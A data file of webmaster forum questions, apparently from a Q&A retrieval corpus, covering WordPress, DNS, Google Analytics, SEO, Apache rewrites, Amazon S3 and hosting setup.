{"id":"1696","title":"Can I get Wordpress to upload images etc via FTP instead of the filesystem?","text":"I'm installing a Wordpress blog on a site run from a server farm. We can only upload files through FTP (which gets synced to the web servers). Any file written to the server through the web site is deleted after about 5 minutes. I've found a few FTP plugins for Wordpress, which look like they will allow me to upload files using FTP. The problem is, we need to go to that plugin and upload the files, then go back to the WP post to add them... not very convenient, really. I know Wordpress has FTP capabilities when installing plugins and themes, but is there a way to get Wordpress to use FTP for the main upload manager when writing a post?"}
{"id":"23541","title":"What's the best way to create your own website?","text":"I'm currently making plans for creating my own website (.com) and was looking for the cheapest solution possible that gives you the production tools you need. I was wondering, are most websites these days made by \"website wizards\" or whatever they are called, that you just configure and tweak, or do most websites involve a lot of programming? (I am currently a CS major but need to budget my time so website providers that give you a lot of flexibility and control over how your site works, but minimizes programming would probably be the best solution). I'm basically looking for the most direct way to establish my own website with its own domain name. Probably the most complex service it will need to provide is that (privileged) visitors with an account\/password to my website should be able to edit the webpages. There will also be a need to make this visually appealing. Any tips out there are appreciated. Thanks!"}
{"id":"37679","title":"Are there any risk if your DNS's SOA or admin contact are using the same domain as the DNS","text":"For example, Google.com [1] 1. The SOA email is : dns-admin.google.com 2. The contact is: Administrative Contact: DNS Admin Google Inc. dns-admin.google.com As you can see, both are using `google.com`, I am thinking it is safe to use the same domain, i.e. consider the case you lost control of the domain, you can receive email also. (Of course Google is a public company so the chance is low, but might occur for smaller company that their domain might be stolen..) So, do you recommend use your the same domain as the contact or others free services such as gmail? [1] http:\/\/whois.domaintools.com\/google.com"}
{"id":"37674","title":"IIS7 as site title","text":"When I search for my website on google both the title and description are showing as IIS7, how can I change this to a proper description?"}
{"id":"29851","title":"Wordpress Membership Site","text":"I would like to create a Wordpress Membership site, I would need a plugin with the following functionality : 1. Able to hide pages from non logged in users. 2. New user accounts are created only by the administrator. 3.Users can not access admin dashboard. 4. Each user has a front-end custom profile page editable only by the admin."}
{"id":"33592","title":"Redesigning a live site","text":"First question here so apologies if it's not the right place to ask... I run a very popular website, frequently attracting tens, if not hundreds of thousands of users daily. It's a game, and uptime is of critical importance to most players. Here's the catch: it wasn't meant to be popular. It was initially a programming exercise that I just threw out there expecting it to get a few users, then die off. I was wrong... So, in other words, my dog Patches is now almost three years old, and in thorough need of grooming... but with all the attention he's getting, how can I possibly make it work? I'm thinking the site needs a complete rebuild from the ground up. Heck, it still uses `iframe`s instead of real AJAX! In this way I should be able to build the \"new version\" and then let users migrate seamlessly. What would be the best way to do this though? Should I have the new version use the same database as the old, or should I clone the database to another server to work on? Should I just work in a subfolder, or subdomain, or a whole new domain? And what would the users think? I mean, the site's been more or less the same amount of butt-ugly for 32 months, would they be thrown off or even alienated by a full redesign? The last thing I want is for all my hard work to send everyone packing. Any advice on this matter would be very much appreciated."}
{"id":"34018","title":"Allow a web designer to modify DNS without letting them transfer the domain?","text":"We are in the process of having a web designer create a new website for us, but I don't want to give access to the control panel for the domain names (and have no way to limit it, it seems), while at the same time I don't want to be the go between guy for editing the settings. Is there a way or a service for me to point the domains at a 3rd party DNS system, that I can then give access for the web designer, without worrying that he can find my personal info or try and transfer my domain out?"}
{"id":"43519","title":"Mailing list and privacy","text":"I'm going to start a mailing list for my website and I'm concerned about my users' privacy (regarding their addresses, contents not allowed, etc.. I'm kind of new to these things). Is there any document\/policy I can read about this topic?"}
{"id":"12882","title":"mapping naked domain (www.domain.com) to static website which is saved in s3","text":"I am developing an web application, I recently purchased the domain from godaddy.com and the domain is use google apps, for email, calendar docs and other services as well. Now I just need to show that\" my site is under construction\" I have a static page which is put on S3 now I need to map \"www.mydomain.com\" to that static page which is stored on s3. I am kinda of newbie\/novice to this so kindly help me."}
{"id":"30021","title":"Decode url in httpd.conf or htaccess","text":"For some reason I am getting 404 errors in my log file because of users trying to access something like http :\/\/www.domain.tld%3Fid%3D222 instead of http:\/\/www.domain.tld?id=222 I've unsuccessfully tried all sort of rewrite rules. Is there a way to decode URIs from Apache? Related questions: http:\/\/stackoverflow.com\/questions\/7246497\/htaccess-query- string-urldecode and http:\/\/stackoverflow.com\/questions\/8464298\/rewrite-and- url-decoding"}
{"id":"12881","title":"Alternative to GoDaddy?","text":"For a number of reasons I'm thinking about slowly moving my domains away from GoDaddy. Unfortunately I don't know of a good alternative, and am looking for a recommendation. To match what I currently use godaddy for it would have to offer: * Full control over domains via web interface * DNS service with web control interface. (preferably free, or reasonably priced) * Private domain registrations (i.e anonymous whois data) Any ideas?"}
{"id":"39298","title":"Internal CDN and setting up subdomain to increase maximum parallel connections","text":"I've heard that browsers can have around maximum of 6 parallel connections per domain at a time. So I decided to have another subdomain \"cdn.\" then use mod_rewrite to point to media folder then change image references pointing to this \"cdn.\" for articles in the database. Will this increase the speed of the site since it's increasing parallel connections to about 12 now?"}
{"id":"44943","title":"Excessive visit count but extremely high bounce rate","text":"We recently had surge of visits on our site, usually they are between 30-40, we suddenly got about 340 visits with about as many unique visitors. However, the bounce rate shot up to 96%. It was only the one day. After that, visits and bounce rates have been normal. What can this be?"}
{"id":"50310","title":"Can I have tracking parameters immediately after a forward slash \/?","text":"I would like to start redirecting all `\/index.php` pageviews to `\/` to clean up GA data and otherwise simplify URL hits. _Does anyone foresee this causing any problem when using tracking parameters?_ E.g. `www.domain.com\/?stay=1` | `www.domain.com\/?ref=adwords` Should these be ok?"}
{"id":"26655","title":"Agile social media analysis and implementation","text":"Are there any books\/platforms for social media campaign planning and implementation that define a completely agile approach to engaging audiences on platforms such as Facebook, Linkedin, Twitter, etc? * * * **UPDATE:** Posted a bounty on the question since the current answer is really not about agile approaches to social media campaign planning and implementation. * * * **UPDATE 2:** The question is asking for an agile social media approach, or a social media platform that has agile social media approach baked-in. If the question was about an agile approach to software development, SCRUM would be the most likely answer of an \"agile approach\", since it's my understanding that roughly 70% percent of agile software developers say they practice some form of SCRUM. Pivotal Tracker might be one of many \"agile software planning\" platforms suggested; as a generalization Pivotal Tracker might be called a software project management platform. On the flip-side, suggesting just a \"social media platform\" might be the equivalent of suggesting a \"project management platform\"; meaning the suggestion lack a suggestion of both an \"agile social media platform\" and \"agile social media approach\", and the problem is that if you haven't suggested an agile social media approach to try on this social media platform, then you haven't provided an answer to the question. * * *"}
{"id":"44948","title":"Show Cloudflare requests in apache log","text":"I have a number of sites using cloudflare as a CDN with the apache mod_cloudflare installed to restore original visitor IPs to my server logs. Does anyone know of a way I can make the logs identify which requests came via cloudflare and which didn't?"}
{"id":"30959","title":"Free standalone crawlers","text":"Are there any free standalone crawlers that I can use apart from Google webmaster to analyze errors? Something that shows me all 404's, errors etc"}
{"id":"14767","title":"How to refresh server caching dynamically when we have the web application running in clustering environment?","text":"Consider a typical webapplication which runs on an application or web server in clustering mode. Let us say we have 3 nodes in the cluster and the application is running on these 3 nodes and serving all the user requests. There are some property values that are stored in database and instead of going to database every single time this application maintains a cache at server side, at node level, and stores these property values in the cache and serves the values from the cache. Now we update on of the property value in the database. How do we ensure that this updated value gets reflected in cache across all the nodes?"}
{"id":"61535","title":"How do I solve this error when importing MySQL databases into phpMyAdmin?","text":"As part of a system rebuild of my local machine, I have exported all of my MySQL databases using the Export tab in phpMyAdmin. The result is one large file containing each database and their respective tables. My setup is a MacBook running MAMP 3 Pro Upon trying to restore the databases, I am running into a problem where phpMyAdmin seems to want the each of the databases to be created first. A typical error message is: * * * Error SQL query: -- Database: `myfirstdatabase` # 1046 - No database selected * * * I have clearly gone about backing up my databases in the wrong way, but is there a method for easily recovering from this situation?"}
{"id":"24248","title":"Backing up Web Server Locally","text":"As an added backup, I'd love to have an external hard drive sitting here with my Mac that backs up our web server. Is there any way to have a total backup initially done of the entire web server, with it then doing any changed documents after that? Server is running linux (hosted by Media Temple, dv 4.0 \/ Plesk 10.x) Local machine is a Mac running OS X Lion."}
{"id":"67580","title":"Is adding noindex for new product pages a good idea?","text":"When adding batch products to an eCommerce website, is it a good idea to initially have _noindex_ on the product page? After manually reviewing individual products, should I remove the _noindex_ tag? Batch add will only add manufacturer description and specs, so it will result in duplicate content found on lots of websites selling the same items."}
{"id":"24241","title":"IIS 7.5 - HTTP Redirect and URL Rewrite","text":"my goal is to give the users a friendly url like appname-help which should point to a sharePoint wiki site where we create the help content, the SharePoint url is ugly and long, something like: http:\/\/myprojectportal\/Companyname\/ProjectCollection\/appName\/WikiName\/Wiki%20Pages\/Home.aspx which of course nobody likes. After having asked the Server guys to create a DNS entry like this: appname- help which points to my web server I am now trying to configure IIS to redirect to the long url, creating a web site and configuring the HTTP Redirect feature it works fine but after redirect in the browser I still see the long old url while I would like IE and other browsers to keep showing the short friendly url appname-help even if the redirect has been done and the content comes from the SharePoint. What else should I configure in the web.config or should I use the additional URL Rewrite module available here: http:\/\/www.iis.net\/download\/URLRewrite? since I am redirecting to SharePoint site and not to a custom ASP.NET web application I have no global.asax nor any .NET C# file to edit only web.config and IIS settings for the redirect website to play with..."}
{"id":"63229","title":"index.html in subdirectory will not open","text":"I want to have a website structure like this: example.com\/ - homepage example.com\/solutions\/ - this will be the solution parent page example.com\/solutions\/solution-one - child solution page example.com\/solutions\/solution-two- child solution page I have setup the `example.com\/solutions\/index.html` file so it can be opened as a parent page, but is shows me an error `You don't have permission to access \/solutions\/.html on this server.` What is the problem? How can I open the parent directory page? I am just using regular HTML pages; no CMS or anything."}
{"id":"28599","title":"Use different document root for subfolder of URL","text":"I have an php application that uses an MVC framework. Lets say it lives here http:\/\/domain.com on the web and here \/srv\/www\/domain.com on my server. I want http:\/\/domain.com\/blog to use a wordpress install from here \/srv\/www\/blog and all the root web traffic to go to my MVC app (as shown above) How can this be done? I am using linux and apache."}
{"id":"23029","title":"Tips for breaking into domain brokering?","text":"As a web developer I consider myself fairly familiar with SEO and website structure in terms of advising clients where there is room for improvement and such, however recently a client of mine asked me to broker what appears to be a fairly high value domain (I'm estimating fair market value of +$1k because it's dot com era concise & simple) however I'm not sure how to go about being the broker. In particular I'm wondering what is the best way to valuate the domain and leverage the information during a negotiation. For example when a website is in the mix, you at least can check the SEO, rankings, etc. but as this is a plain domain name which is not used I'm not sure where to pull data. Aside from checking domain sales and auctions for similar domains to get a ballpark fair market value, are there any other tactics I can use? Are paid appraisal services helpful at all? Is there a way to do them myself? As I'm planning to turn this into a new company service, any referrals to tips and websites on the topic are greatly appreciated."}
{"id":"26780","title":"Do I need an SSL Certificate?","text":"I'm thinking about building an app that lets users upload images to sites like Flickr. They would need to enter their password to do this. I would send the data through PHP, do I need to get a SSL certificate for that?"}
{"id":"48749","title":"Anatomy of HTML by big name companies","text":"Are there any blogs or other postings that detail the anatomy of HTML code served by a very big name commercial operation like say Google, Apple, Twitter, Facebook, etc? I'm just asking for a close piece by piece guide to understanding the structure and design of an HTML page written by an industry leader for the purpose of learning by example. I am especially interested in this kind of guide for a \"static\" page rather than part of an interactive web app. Note: I am perfectly well versed in HTML and web dev, as are most people on this SE, so when answering please assume that we are already familiar with plenty of general tutorials and style guides but are looking (maybe out of curiosity) for analysis of an exemplary HTML page made by a top end company."}
{"id":"28043","title":"Is this form of cloaking likely to be penalised? ","text":"I'm looking to create a website which is considerably javascript heavy, built with backbone.js and most content being passed as JSON and loaded via backbone. I just needed some advice or opinions on likely hood of my website being penalised using the method of serving plain HTML (text, images, everything) to search engine bots and an js front-end version to normal users. **This is my basic plan for my site:** I plan on having the first request to any page being html which will only give about 1\/4 of the page and there after load the last 3\/4 with backbone js. Therefore non javascript users get a 'bit' of the experience. Once that new user has visited and detected to have js will have a cookie saved on their machine and requests from there after will be AJAX only. Example If (AJAX || HasJSCookie) { \/\/ Pass JSON } **Search Engine server content:** That entire experience of loading via AJAX will be stripped if a google bot for example is detected, the same content will be servered but all html. I thought about just allowing search engines to index the first 1\/4 of content but as I'm considered about inner links and picking up every bit of content I thought it would be better to give search engines the entire content. I plan to do this by just detected a list of user agents and knowing if it's a bot or not. If (Bot) { \/\/server plain html } In addition I plan to make clean URLs for the entire website despite full AJAX, therefore providing AJAX content to www.example.com\/#\/page and normal html to www.example.com\/page is kind of our of the question. Would rather avoid the practice of using # when there are technology such as HTML 5 push state is around. So my question is really just asking the opinion of the masses on if it's likely that my website will be penalised? And do you suggest an alternative which avoids 'noscript' method"}
{"id":"28046","title":"How can I track the \"Traffic Sources\" of \"Unique Visitors\" by Google Analytics?","text":"Now I can only see the \"Traffic Sources\" of \"Visits\". But what I would like to know is the number of \"Unique Visitors\" from each referrals. But when I go to \"Traffic Sources\" -\"Referrals\" from the left side menu bar it only shows the number of \"Visits\" Any idea? Or if google analytics doesn't provide this are there other similar tools for it? Thanks."}
{"id":"55016","title":"Chinese bots in my forum","text":"I have a small community forum that doesn't really get posts or any real traffic. The only thing that happens on the regular is bots with Chinese IPs signing up gibberish usernames. Most bots don't make it past the captcha but some do. I try to stay on top of this by banning IPs and ranges of IPs but it doesn't really seem to help. The bots never post anything so what are they doing? Should I be worried? Should I keep banning IPs or is it futile?"}
{"id":"22372","title":"Migrate from Google App Engine","text":"I'm working with the app engine platform, python 2.5.x and Django, and I'm looking for other solution to host my web app. Can you suggest me blog, or websites who explain how to install a such platform."}
{"id":"22376","title":"Does having a mobile version of a website improve the page rank?","text":"Does google crawl the mobile version of a website? ~~I would think not, since the user agent would be that of the google bot.~~ If it doesn't crawl it, does it mean that having a mobile version of a website has little impact on the page rank?"}
{"id":"22374","title":"How to login as another user in phpmyadmin","text":"I installed phpmyadmin in Win7, and if I type `http:\/\/localhost\/phpmyadmin\/index.php` in the browser, it will log in phpmyadmin as root user by default. I created a new user but still there's no login window... every time it logs in as root by default.. how can I change user? Many thanks!"}
{"id":"31193","title":"Why Google Analytics is displaying wrong landing pages?","text":"I see all of my pages as Landing Pages in Google Analytics which cannot be true as I did not post those pages anywhere and I don't see any traffic hitting directly to that page. Also, I am using virtual page views on few buttons and I see those virtual pages as Landing pages too. For example, \/click\/request-a-quote 35000 views 35000 is too big a number to be ignored. Even if I ignore Virtual Pages Views, I see a lot of pages as Landing Pages that I am 100% sure that visitors ( atleast not so many users) are NOT hitting directly. Any advice, how to `debug` it? PS: I'm using the following code: var _gaq = _gaq || []; _gaq.push(['_setAccount', '<>']); _gaq.push(['_setDomainName', 'none']); _gaq.push([' _setLocalGifPath', '\/images\/_ _utm.gif']); _gaq.push(['_setAllowLinker', true]); _gaq.push(['_trackPageview','account\/phase1']);"}
{"id":"31190","title":"Can server errors cause major traffic drop from Google?","text":"My web server was down for about 30 min. The next day (30~ hours from the event) I noticed major drop in traffic from Google. The normal traffic to my site is about 2500 unique\/day and after the event it dropped to 400\/day. Other than this event nothing happened. Can this be the reason?"}
{"id":"47369","title":"Analyzing logs: how to get page views broken down by page?","text":"I have a WordPress site where we didn't enable \"pretty\" permalinks, and thus, all pages in it have URLs in the form `?p=3921`. Now, when I log into the statistics page in my hosting provider, I see that the most visited page is `index.php`, which lumps together all the pages in the site, but I can't tell apart the visits for each page. I can download the raw access logs, though, so is there any web analyzer software that can show me access stats broken down by page? (NOTE: this is not a request for WordPress plugins, or Google Analytics. Those might be useful in the future, once we've installed them, but the logs I'm trying to analyze now are from the last few weeks)."}
{"id":"4224","title":"Porn description in Yahoo and Bing search results","text":"If you check out the **fifth** link **ABLawyers Online Education Centre** on **Bing** : http:\/\/www.bing.com\/search?q=ablawyers&form=QBLH&filt=all&qs=n&sk=&sc=1-9 You will see porn text \"Jennifer Carpenter ....\" I also get the same with the **sixth** link when you search for \"ABlawyers\" in **Yahoo**. When searched on **Google** , it does not have the same problem. How can this be fixed? Thank you."}
{"id":"13934","title":"How to best understand website design for those with a background in graphic design?","text":"What are the best resources (i.e. tutorials, video keynotes, blog posts, etc) that best assist graphic designers understand the paradigm of website design? As a web designer, I'm really interested in having my sister (a graphic designer) working with me. How to best explain her how to design for the screen, with practical and easy-to-learn resources (i.e. how to build website layouts for the web) without having to spend time with books?"}
{"id":"5587","title":"Dynamic sitemap file","text":"Does it matter if I serve sitemap.xml as a dynamic page? e.g., use .htaccess to rewrite sitemap.xml (or whatever static URL I submitted at the Webmaster Tools) to a PHP file. The PHP file will call the DB and generate the XML file on the fly. Does it matter if I use it like this a dynamic PHP page, or should I prepare a static page? The only downside I see is the load time of the file, but it doesn't sound too important considering this page is accessed only by SE boots. Joel"}
{"id":"5584","title":"Site Search Engine for 1,000 page website","text":"I manage a website with about 1,000 articles that need to be searchable by my members. The site search engines I've tried all had their own problems: * Fluid Dynamics Search Engine Since it's written in perl, it was a bit hacky to integrate with my PHP-based CMS. I basically had to file_get_contents the search results page. However, FDSE had the best search results. * Google CSE Ugh, the search results SUCK. It can't find documents even using unique strings. I'm so surprised that a Google search product is this bad. Nor can I get any answers on their 'help' forums, and I am a paying user. Boo, Google. Boo. * Sphider Again, bad search results. Unable to locate some phrases used in link text. Better results than Google CSE though. Shame on Google that a free PHP script has better search results than their paid application. * IndexTank This one looked really promising. I got all set up with their PHP API client. But it would only randomly add articles that I submitted. Out of 700+ articles I pushed to the index through their API, only 8 made it in. Unable to find any help on this subject. **Update for IndexTank** -- Got the above issue fixed, so this looks most promising so far. The site itself runs on php\/mysql and FreeBSD, though this shouldn't matter for a web crawling indexer. I've looked at Lucene, but I don't know anything about Java or installing Java programs on my web server. I also do not have root access on my web server, if this would be required for installation. I really don't need a lot of fancy features. It just needs to be able to crawl my web site and return great (even decent!) search results. I don't need any crazy search operators. It doesn't need to index off my primary domain. It just needs to work! Thanks, Hive Mind!"}
{"id":"28624","title":"When does FireFox ask for confirmation on page redirect?","text":"Every once in a while I click a link and see the following (I'm using FF 11.0):  I was wondering why FF does this on some redirects\/links and not on others. I was thinking maybe it does that when you're on a page that contains a `<form>` element? Thanks for any help here\/"}
{"id":"28623","title":"how to assign web server and domain a public ip adress","text":"i have installed an ISO image of windows server 2008 r2 onto my VMware workstation, as a virtual server. I am trying to host my own web server for testing purposes.I have Internet service with sprint and i called them to obtain my public ip address. Now that i have my public ip address how to i assign it to my server? I also have a web domain name that i would like to point it at that web server. Do i give it the public ip address or do i give it the name of the server?"}
{"id":"28620","title":"How to track iframe and parent window as one pageview in Google Analytics","text":"I have a site that contains the following characteristics: * Header is defined by code my team controls on subdomain B and is loaded via iframe * Body is defined by third-party code and platform on subdomain A and is the parent page * Footer is defined by code my team controls on subdomain B and is loaded via iframe I am using Google Analytics (GA) to track pageviews. **I would like the load of each page (consisting of all three elements) to register in GA as one pageview. In addition, clicks in the header and footer should not count as referred visits.** How can I accomplish this? I know that I can solve the referrer issue with cross-domain tracking: ['_setDomainName', 'maindomain.com'] However, I also have to track the pageview to make it take effect: ['_trackPageview'] This would result in 3 pageviews tracked for one actual page load as far as the user is concerned. Since this particular site nets millions of visitors a month, tripling that is not ideal and would put us over the 10 million events Google Analytics will track reliably on the free plan."}
{"id":"24793","title":"Can I set a variable \"Expires\" in Amazon S3?","text":"I have a ton of files in Amazon S3 (served via Cloudfront) for which I have added an Expires header of `Mon, Jan 1 2024 11:11:11 GMT` However, I have recently learned that setting an Expires header more than one year in the future violates the HTTP 1.1 RFC. So is there a way in S3 to set a dynamic Expires that is always one year from the request date?"}
{"id":"38212","title":"Is my project a web site or a mobile app?","text":"I am a web developer. I have been developing web sites professionally for 15+ years using ColdFusion, SQL Server, and jQuery. I am doing a project for a client that uses the above technologies. The site has a mobile facet too. For that, I am using jQuery Mobile. The site enables retail store personnel to gather a store customer's preferences using any smart phone or tablet. The store personnel just needs to access a special link via a QR code and a login. Anyone can easily access the site from a PC's browser, too. Some sources suggest that mobile apps must be downloaded and installed using a third party, such as from Google, Amazon, or Apple. Others sources suggest that any information designed for use on mobile device is a mobile app. Regarding the site that is specifically designed for use by mobile devices that extensively uses jQuery Mobile, is this a \"web site\" or a \"mobile app\"? What is the \"proper\" description for this type of site? My customer insists that it is one and not the other. I insist that it is the other and not the one. Can you help me clarify this?"}
{"id":"51291","title":"How do I properly deal with duplicate content when showing the latest content from my blog on a main page?","text":"If my website has multiple blogposts: * `\/blog\/first-post.html` * `\/blog\/second-post.html` * `\/blog\/third-post.html` ... and I want only the **latest** post to be fully shown on `\/blog\/` What is the best way to handle this SEO friendly? Should I add a canonical relation fromt `\/blog` to `\/blog\/latest-post.html`? Should I redirect traffic from `\/blog\/` to `\/blog\/latest-post.html`? And if so with what redirect code: 302? Should I not use `\/blog` altogether and have my main menu button \"Blog\" directly go to `\/blog\/latest-post.html`?"}
{"id":"58709","title":"Making HTML5 videos stored on AWS S3 **difficult** to download (because I cant make it impossible)","text":"I am building a website that hosts video's stored on AWS's S3 service. The videos are played thru a HTML5 player we have built. Ive just been asked to make sure \"nobody can steal our video's\". Now I know that if you really don't want something stolen, don't put it up on the internet. However I just need to secure these videos as good as possible, the videos need to at the very least resist someone going thru the source code and trying to download them manually. One option available to me is to completely rebuild the video player in flash. This is not ideal, for several reasons, notably because I would also then have to build an App for mobile devices to be able to view this site. So I am looking for other options. I have heard about using a token to make the file available only during certain times. I have heard of using a separate file to serve the videos that sits between the HTML5 page and the video file. I am also having a look at IAM, the Secure AWS Access Control, in the hopes AWS can solve this problem for me. Can anyone here recommend any of these options? Or perhaps suggest other options available to me? Any help would be greatly appreciated."}
{"id":"38218","title":"More confusion over SEO Cname and 301 redirect","text":"Previous answers on this topic don't really help me with my query, so any help appreciated for a bit of a newbie. I have a new domain \"domain#1.mobi\" Its hosted with godaddy and has a cname and forwarding, pointing it to \"domain#1.elsewhere.us\" It has no content. The content is all hosted on \"domain#1.elsewhere.us\" which is what Google is now listing in its results. I want Google to ignore that and only list \"domain#1.mobi\" in its listings. How do I achieve this?"}
{"id":"42618","title":"What to put up during development? \"Coming Soon\" page is bad for SEO","text":"I've purchased a domain. I'm in the process of creating the website for that domain. This may take about a month. In the mean time, what is the smartest thing to do with that domain, in terms of SEO? For example, should I send a 204 No Content HTTP header? I know that's not the right thing to do but what is? I know that simply having a \"Coming Soon\" page is also bad for SEO. Any advice?"}
{"id":"50843","title":"Why doesn't Segoe UI font work in Google Chrome on Metro Bootstrap?","text":"When viewing the Metro bootstrap in Firefox, the font looks as it should, while in Chrome it defaults to what I assume is Helvetica. The problem is that I don't know where that \"nice\" font which shows up in Firefox is located. The font's name is Segoe UI, but there's no font file with that name in the Bootstrap package, it's not referenced with an `@font-face` declaration and there's not SiFR or Cufon. I have no idea why Firefox knows how to display it. Does Segoe UI come bundled with Firefox? I'm not sure how I should approach solving this issue, maybe adding a whole new `@font-face` declaration via Font Squirrel would be an overkill if there's a simpler solution? On the image below, left side is how Firefox renders the page and the the right side is how Chrome renders it. "}
{"id":"49721","title":"What is the maximum frequency for checking email in Gmail, and are there alternatives?","text":"I am trying to build a Python program for small business. My customers will send their orders in plain texts via email to me. My first thought is to use Gmail as my email server so I could write a small IMAP Python program to check for incoming emails from my Gmail account. However, I am worried that Google has a limit for email checking frequency (i.e., \"polling\") and\/or bandwidth. If I am checking new email once every 10 seconds, I'm concerned that Google will lock my account in just a few minutes - I'm afraid to even try this. I am not experienced enough to set up my own email server in a Linux box yet. What options do I have? Will upgrading to Google Business email solve this problem, or are there any other vendors that provide IMAP servers which offer more bandwidth and permit increased email checking frequencies?"}
{"id":"35639","title":"One site being on a subdirectory of another. Does google count this against you?","text":"I have created two similar websites (relating to monetary systems). So far, one appears to be loved by Google and the other hated. I'm struggling to work out why. This is a mystery to me because both sites were created by me with the same design philosophy, both in pure html. Both are packed to the rafters with references to, and information about, their respective subjects. One issue I'm worried may be the cause is to do with the location of the sites. I got a web hosting package from hostmonster.com for the successful one, but less liked one is just an \"add-on\" which sits on a subdirectory of the successful one. I wonder if Google somehow detects this and treats it as a less significant website? **EDIT:** Just to clarify, even though one site is an add-on that sits on a subdirectory of the other, the URL is arranged to look like it is a root. I.e. the unpopular site can be accessed directly with a simple www.myunpopularsite.com name, without specifying any subdirectory. **EDIT:** Just in case its important... say the popular site is called pop.com and the unpopular one unpop.com. In the webspace I've purchased, there is a directory called public_html. This is where I put the index.htm and all the other files of my popular site. When I purchased the add-on unpop.com. I made a subdirectory of public_html called unpop. It is within this \"public_html\\unpop\\\" that I place the index.htm and all the other files of my unpopular site. Typing www.unpop.com into the address bar of a browser links directly to the contents of \"public_html\\unpop\\\" and the user is not aware that this site is sitting on a subdirectory of another site. BUT if you type \"www.pop.com\/unpop\" into the address bar of a browser you DO see the unpopular site."}
{"id":"11270","title":"font compressor","text":"I want to use @font-face in my css but I have a lot of fonts. Does anyone know of any software will let me to compress my fonts?"}
{"id":"11271","title":"How do I receive anonymized email sent to my domain?","text":"I have a web app in which users will contact each other using anonymized email, similar to how craigslist works. For example, user B posts an ad and the web app includes an anonymized address which is unique for user B such as address1U4J5K6Ldf345@mydomain.com. User A sends an email to address1U4J5K6Ldf345@mydomain.com, and my app reads it and sends the contents of the email to user B. My domain is at godaddy and my (django) site is hosted on the cloud on an amazon EC2 instance. My question is how do I set up the DNS and mail servers to do this? Do I have to run my own postfix or sendmail server on my amazon host, or is there a way to have godaddy's mail server save email to all addresses at the domain, so that I can access them by pop or imap? Or is there some third party service that would work?"}
{"id":"56663","title":"Schema.org & Open Graph","text":"We currently use Schema.org for our rich snippets in Google. I want to add Open Graph along with that, so other social signals will recognize our site better. If I add OG to our existing schema, will that have any effect on our current rich snippets?"}
{"id":"35630","title":"Does Google Analytics track visits via Tumblr dashboard?","text":"I wondered if GA tracks visits to my Tumblr accessed through Tumblr dashboard by other Tumblr users. And if it can track visitors who only view my blog via the Tumblr dashboard. My GA stats are 320 visits for last month, but I have about 400 likes or reblogs for the same time period, so not sure how this is possible, unless the visits through Tumblr are not tracked. Does GA only track those who type in my site address directly or those who are logged in to Tumblr to access it as well?"}
{"id":"13680","title":"How to sort order of products in website using zen cart","text":"I am currently developing a website using zen cart and i pretty much have everything done but i am running into a slight problem. When I am putting items up that have numbers in them(ie. 10mm, 20mm) they are not being displayed in the right order. Instead of going 10mm, 20mm....90mm, 100mm, 110mm it is going 10mm, 100mm, 110mm.....190mm, 20mm, 200mm, 210mm Does anyone know how to sort this out because it is driving me mad :( Thank"}
{"id":"13687","title":"LinkedIn Advert stats not matching with my Google Analytics data","text":"I received a voucher from LinkedIn which gives me $50 worth of Advertising, and as I've started out on my own as a web designer\/developer I thought this would be a good opportunity to get some extra business. Anyway, I've used LinkedIn's stat counter and it has said I've had ten \"valid\" clicks to my website. However, when I check my Google Analytics account, it states that one day I only received 6 clicks from LinkedIn, 4 of which had a 100% bounce rate and stayed on the website for 00:00:00. I've spoken to LinkedIn about it, and they e-mailed me back saying a few things. They have said some users might have Javascript turned off, so won't show up on my Analytics software. He also said that my Analytics software might be tracking LinkedIn.com (which it is) and that this will over\/under report registered clicks on my site. To me, I'm suspicious that most of the clicks aren't 100% legit, and they might be trying to eat up my $50 voucher before I have to start paying. It does sound like a paranoid view point, but when one stat counter is saying I've had 10 clicks in a day, and my Google Analytics account is telling me only 6 clicks came from there. Am I right to be paranoid or have I completely missed how these things work? Cheers"}
{"id":"43342","title":"Fetch as Google goes infinite loop (again)","text":"A couple of days ago, I faced an issue with Google Webmaster's Fetch as Google functionality. The page was going into an infinite refresh loop. I started a thread on Google's forum. The issue disappeared by itself. Unfortunately, this issue is happening again. Google still does not have the latest copy of my main page in its cache. The Fetch as Google page is going into an infinite loop again. Anyone knows why? Any idea\/suggestion is welcome... Thanks!"}
{"id":"65170","title":"MediaWiki {{Special:PrefixIndex}} outputs \"$1 - Wiki Title\"","text":"I've set up some sub-pages, and trying to use the Special::PrefixIndex template to create a listing of these sub-pages as per http:\/\/www.mediawiki.org\/wiki\/Help:Subpages#Displaying_subpages So, for example, under User:Sjones I've created User:Sjones\/Drafts When I use `{{Special:PrefixIndex\/{{FULLPAGENAME}}\/}}` I get `$1 - Wiki Title` instead of the a list containing User:Sjones\/Drafts I've enabled subpages for the user namespace. When I view the page Special:PrefixIndex and enter \"User:Sjones\" I get the correct list. I'm using version 1.21 on Ubuntu 12.04 I've since learned that the problem is with the TinyMCE plugin for MediaWiki - disabling the plugin restores the correct functionality. How do I get this working with the plugin enabled?"}
{"id":"31994","title":"How to tell Google to crawl distinct part of the webpage?","text":"What approach should I take to make the website Google-friendly, http:\/\/anuary.com\/. The problem is that when a specific content is being requested (eg. http:\/\/anuary.com\/1\/home\/anuary) user is taken to the page using scrollbar, though the surrounding content is still being loaded. How to tell Google that for this URL http:\/\/anuary.com\/36\/portfolio\/three-musketeers only the #36 entry should be crawled. Is there a tag or other way to select the surrounding content as irrelevant for the URL?"}
{"id":"19061","title":"CSS not loading when site is viewed via Windows VPN","text":"Internal site has recently been redesigned, but IE8 does not seem to be loading the new css rules only when viewed via VPN. I really have no clue what to look for. I can't reproduce the problem, but it's apparently affecting client for the last month. I've suggested: * Reloading IE8 * Checking Internet * Permissions * Flushing the cache I'm not really certain what direction to search for the answer. Is it likely to be a server permissions issue? a VPN connection issue? a rare ie8 CSS bug?"}
{"id":"19063","title":"authorize.net SIM PCI compliance","text":"Does anyone know if authorize.net's SIM rids you of having to be PCI compliant? The payment form is hosted on authorize.net's site and they're processing the payment. I know you can do a relay response which basically puts some of the transaction details in a url that goes back to your website(to display a receipt). I'm not sure what all information gets put into the url though. I'm wondering if that makes you have to become PCI compliant?"}
